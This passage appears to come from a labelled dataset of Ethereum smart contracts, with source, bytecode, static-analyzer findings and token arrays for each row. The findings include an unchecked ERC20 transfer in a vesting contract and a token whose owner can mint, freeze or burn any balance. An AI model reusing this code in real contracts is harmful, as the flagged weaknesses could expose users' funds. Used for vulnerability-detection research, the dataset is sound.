16137a6565b9050919050565b60006020820190508181036000830152613efa816137e6565b9050919050565b60006020820190508181036000830152613f1a8161384c565b9050919050565b60006020820190508181036000830152613f3a8161388c565b9050919050565b60006020820190508181036000830152613f5a816138f2565b9050919050565b60006020820190508181036000830152613f7a81613972565b9050919050565b60006020820190508181036000830152613f9a816139d8565b9050919050565b60006020820190508181036000830152613fba81613a18565b9050919050565b60006020820190508181036000830152613fda81613a7e565b9050919050565b60006020820190508181036000830152613ffa81613abe565b9050919050565b6000602082019050818103600083015261401a81613b24565b9050919050565b6000602082019050818103600083015261403a81613b8a565b9050919050565b60006020820190506140566000830184613bca565b92915050565b6000604051905081810181811067ffffffffffffffff821117156140835761408261440c565b5b8060405250919050565b600067ffffffffffffffff8211156140a8576140a761440c565b5b601f19601f8301169050602081019050919050565b600067ffffffffffffffff8211156140d8576140d761440c565b5b601f19601f8301169050602081019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b600061415b82614287565b915061416683614287565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561419b5761419a61437f565b5b828201905092915050565b60006141b182614287565b91506141bc83614287565b9250826141cc576141cb6143ae565b5b828204905092915050565b60006141e282614287565b91506141ed83614287565b925082821015614200576141ff61437f565b5b828203905092915050565b600061421682614267565b9050919050565b600061422882614267565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b838110156142be5780820151818401526020810190506142a3565b838111156142cd576000848401525b50505050565b600060028204905060018216806142eb57607f821691505b602082108114156142ff576142fe6143dd565b5b50919050565b600061431082614287565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156143435761434261437f565b5b600182019050919050565b600061435982614287565b915061436483614287565b925082614374576143736143ae565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b6144558161420b565b811461446057600080fd5b50565b61446c8161422f565b811461447757600080fd5b50565b6144838161423b565b811461448e57600080fd5b50565b61449a81614287565b81146144a557600080fd5b5056fea2646970667358221220d6c1f613417ee297e168675f37846c710e61192e30cf6e4d5b4007b1720c3f5164736f6c63430008000033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
22275,
2278,
17788,
2581,
10354,
25746,
2509,
2546,
20958,
23352,
2094,
2692,
2575,
9468,
19481,
2683,
2581,
2050,
2475,
2050,
29097,
2683,
2497,
2581,
24434,
2278,
2549,
2497,
2692,
1013,
1013,
1035,
1035,
1035,
1027,
1035,
1035,
1035,
1035,
1027,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1027,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1027,
1027,
1035,
1035,
1035,
1027,
1035,
1035,
1035,
1035,
1027,
100,
1012,
1013,
1013,
1013,
1035,
1035,
1035,
1035,
1013,
1013,
1035,
1035,
100,
1013,
1012,
1035,
1013,
1013,
1064,
1013,
1013,
1013,
1035,
1035,
100,
1013,
1035,
1035,
1035,
1035,
1013,
1013,
1035,
1035,
100,
1013,
1035,
1035,
1035,
1013,
1013,
1013,
1013,
1013,
1035,
1035,
1013,
1013,
1027,
1013,
1013,
1013,
1013,
1013,
1064,
1013,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,491 | 0x953C32158602e9690c6e86B94b230B5951B51A73 | pragma solidity ^0.6.10;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
contract Vesting {
using SafeMath for uint256;
address public visr;
address public recipient;
uint256 public vestingAmount;
uint256 public vestingBegin;
uint256 public vestingCliff;
uint256 public vestingEnd;
uint256 public lastUpdate;
constructor(
address visr_,
address recipient_,
uint256 vestingAmount_,
uint256 vestingBegin_,
uint256 vestingCliff_,
uint256 vestingEnd_
) public {
require(vestingBegin_ >= block.timestamp, "TreasuryVester.constructor: vesting begin too early");
require(vestingCliff_ >= vestingBegin_, "TreasuryVester.constructor: cliff is too early");
require(vestingEnd_ > vestingCliff_, "TreasuryVester.constructor: end is too early");
visr = visr_;
recipient = recipient_;
vestingAmount = vestingAmount_;
vestingBegin = vestingBegin_;
vestingCliff = vestingCliff_;
vestingEnd = vestingEnd_;
lastUpdate = vestingBegin;
}
function setRecipient(address recipient_) public {
require(msg.sender == recipient, "TreasuryVester.setRecipient: unauthorized");
recipient = recipient_;
}
function claim() public {
require(block.timestamp >= vestingCliff, "TreasuryVester.claim: not time yet");
uint256 amount;
if (block.timestamp >= vestingEnd) {
amount = IERC20(visr).balanceOf(address(this));
} else {
amount = vestingAmount.mul(block.timestamp.sub(lastUpdate)).div(vestingEnd.sub(vestingBegin));
lastUpdate = block.timestamp;
}
IERC20(visr).transfer(recipient, amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
| 0x608060405234801561001057600080fd5b50600436106100a25760003560e01c806384a1931f11610076578063c04637111161005b578063c046371114610125578063e29bc68b1461012d578063f3640e7414610135576100a2565b806384a1931f146101155780638d1dc56a1461011d576100a2565b8062728f76146100a75780633bbed4a0146100c15780634e71d92d146100e957806366d003ac146100f1575b600080fd5b6100af61013d565b60408051918252519081900360200190f35b6100e7600480360360208110156100d757600080fd5b50356001600160a01b0316610143565b005b6100e76101c6565b6100f961036f565b604080516001600160a01b039092168252519081900360200190f35b6100af61037e565b6100f9610384565b6100af610393565b6100af610399565b6100af61039f565b60025481565b6001546001600160a01b0316331461018c5760405162461bcd60e51b81526004018080602001828103825260298152602001806104cf6029913960400191505060405180910390fd5b600180547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b6004544210156102075760405162461bcd60e51b81526004018080602001828103825260228152602001806104f86022913960400191505060405180910390fd5b6000600554421061029057600054604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b15801561025d57600080fd5b505afa158015610271573d6000803e3d6000fd5b505050506040513d602081101561028757600080fd5b505190506102e4565b6102dd6102aa6003546005546103a590919063ffffffff16565b6102d16102c2600654426103a590919063ffffffff16565b6002549063ffffffff61040716565b9063ffffffff61046716565b4260065590505b600080546001546040805163a9059cbb60e01b81526001600160a01b039283166004820152602481018690529051919092169263a9059cbb92604480820193602093909283900390910190829087803b15801561034057600080fd5b505af1158015610354573d6000803e3d6000fd5b505050506040513d602081101561036a57600080fd5b505050565b6001546001600160a01b031681565b60055481565b6000546001600160a01b031681565b60065481565b60035481565b60045481565b6000828211156103fc576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b508082035b92915050565b60008261041657506000610401565b8282028284828161042357fe5b04146104605760405162461bcd60e51b815260040180806020018281038252602181526020018061051a6021913960400191505060405180910390fd5b9392505050565b60008082116104bd576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b8183816104c657fe5b04939250505056fe54726561737572795665737465722e736574526563697069656e743a20756e617574686f72697a656454726561737572795665737465722e636c61696d3a206e6f742074696d6520796574536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a164736f6c634300060a000a | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
22275,
2278,
16703,
16068,
20842,
2692,
2475,
2063,
2683,
2575,
21057,
2278,
2575,
2063,
20842,
2497,
2683,
2549,
2497,
21926,
2692,
2497,
28154,
22203,
2497,
22203,
2050,
2581,
2509,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
2184,
1025,
12324,
1063,
29464,
11890,
11387,
1065,
2013,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
11387,
1013,
29464,
11890,
11387,
1012,
14017,
1000,
1025,
12324,
1063,
3647,
18900,
2232,
1065,
2013,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
8785,
1013,
3647,
18900,
2232,
1012,
14017,
1000,
1025,
3206,
17447,
2075,
1063,
2478,
3647,
18900,
2232,
2005,
21318,
3372,
17788,
2575,
1025,
4769,
2270,
25292,
2099,
1025,
4769,
2270,
7799,
1025,
21318,
3372,
17788,
2575,
2270,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,492 | 0x953Cd9ad374Af0Eb69A65d30E550D0E88063a59a | pragma solidity ^0.4.20;
contract MyOwned {
address public owner;
function MyOwned() public { owner = msg.sender; }
modifier onlyOwner { require(msg.sender == owner ); _; }
function transferOwnership (address newOwner) onlyOwner public { owner = newOwner; }
}
contract MyToken is MyOwned {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => bool) public frozenAccount;
event Burn (address indexed from,uint256 value);
event FrozenFunds (address target,bool frozen);
event Transfer (address indexed from,address indexed to,uint256 value);
function MyToken(
string tokenName,
string tokenSymbol,
uint8 decimalUnits,
uint256 initialSupply) public {
name = tokenName;
symbol = tokenSymbol;
decimals = decimalUnits;
totalSupply = initialSupply;
balanceOf[msg.sender] = initialSupply;
}
function transfer (address _to, uint256 _value) public {
require(!frozenAccount[msg.sender]);
require (balanceOf[msg.sender] >= _value);
require (balanceOf[_to] + _value >= balanceOf[_to]);
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
Transfer(msg.sender, _to, _value);
}
function freezeAccount (address target,bool freeze) public onlyOwner {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function mintToken (address target, uint256 mintedAmount) public onlyOwner {
balanceOf[target] += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
function burnFrom (address _from,uint256 _value) public onlyOwner {
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
Burn(_from, _value);
}
} | 0x6060604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf57806318160ddd1461014d578063313ce5671461017657806370a08231146101a557806379c65068146101f257806379cc6790146102345780638da5cb5b1461027657806395d89b41146102cb578063a9059cbb14610359578063b414d4b61461039b578063e724529c146103ec578063f2fde38b14610430575b600080fd5b34156100ca57600080fd5b6100d2610469565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101125780820151818401526020810190506100f7565b50505050905090810190601f16801561013f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015857600080fd5b610160610507565b6040518082815260200191505060405180910390f35b341561018157600080fd5b61018961050d565b604051808260ff1660ff16815260200191505060405180910390f35b34156101b057600080fd5b6101dc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610520565b6040518082815260200191505060405180910390f35b34156101fd57600080fd5b610232600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610538565b005b341561023f57600080fd5b610274600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610699565b005b341561028157600080fd5b6102896107e1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156102d657600080fd5b6102de610806565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561031e578082015181840152602081019050610303565b50505050905090810190601f16801561034b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561036457600080fd5b610399600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108a4565b005b34156103a657600080fd5b6103d2600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610add565b604051808215151515815260200191505060405180910390f35b34156103f757600080fd5b61042e600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050610afd565b005b341561043b57600080fd5b610467600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c22565b005b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ff5780601f106104d4576101008083540402835291602001916104ff565b820191906000526020600020905b8154815290600101906020018083116104e257829003601f168201915b505050505081565b60045481565b600360009054906101000a900460ff1681565b60056020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561059357600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106f457600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561074257600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a25050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561089c5780601f106108715761010080835404028352916020019161089c565b820191906000526020600020905b81548152906001019060200180831161087f57829003601f168201915b505050505081565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156108fd57600080fd5b80600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561094b57600080fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401101515156109da57600080fd5b80600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60066020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b5857600080fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c7d57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820d482ebc5ec34619e874e543cc8c776d4dab1074f639cdf093b6dd411903856140029 | {"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}} | true | null | {'detectors': [{'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}]} | [
101,
1014,
2595,
2683,
22275,
19797,
2683,
4215,
24434,
2549,
10354,
2692,
15878,
2575,
2683,
2050,
26187,
2094,
14142,
2063,
24087,
2692,
2094,
2692,
2063,
2620,
17914,
2575,
2509,
2050,
28154,
2050,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2322,
1025,
3206,
2026,
12384,
2098,
1063,
4769,
2270,
3954,
1025,
3853,
2026,
12384,
2098,
1006,
1007,
2270,
1063,
3954,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
16913,
18095,
2069,
12384,
2121,
1063,
5478,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
3954,
1007,
1025,
1035,
1025,
1065,
3853,
4651,
12384,
2545,
5605,
1006,
4769,
2047,
12384,
2121,
1007,
2069,
12384,
2121,
2270,
1063,
3954,
1027,
2047,
12384,
2121,
1025,
1065,
1065,
3206,
2026,
18715,
2368,
2003,
2026,
12384,
2098,
1063,
5164,
2270,
2171,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,493 | 0x953d04e7f8aeed03d0eb84b72b2e5ff65423ac0e | pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'DATING' token contract
//
// Deployed to : 0x19AbF9FD674a9305cf436377eE2655e6Beb071c7
// Symbol : DTNG
// Name : DATING
// Total supply: 1000000000
// Decimals : 18
//
//
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract DATING is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function DATING() public {
symbol = "DTNG";
name = "DATING";
decimals = 18;
_totalSupply = 1000000000000000000000000000;
balances[0x19AbF9FD674a9305cf436377eE2655e6Beb071c7] = _totalSupply;
Transfer(address(0), 0x19AbF9FD674a9305cf436377eE2655e6Beb071c7, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
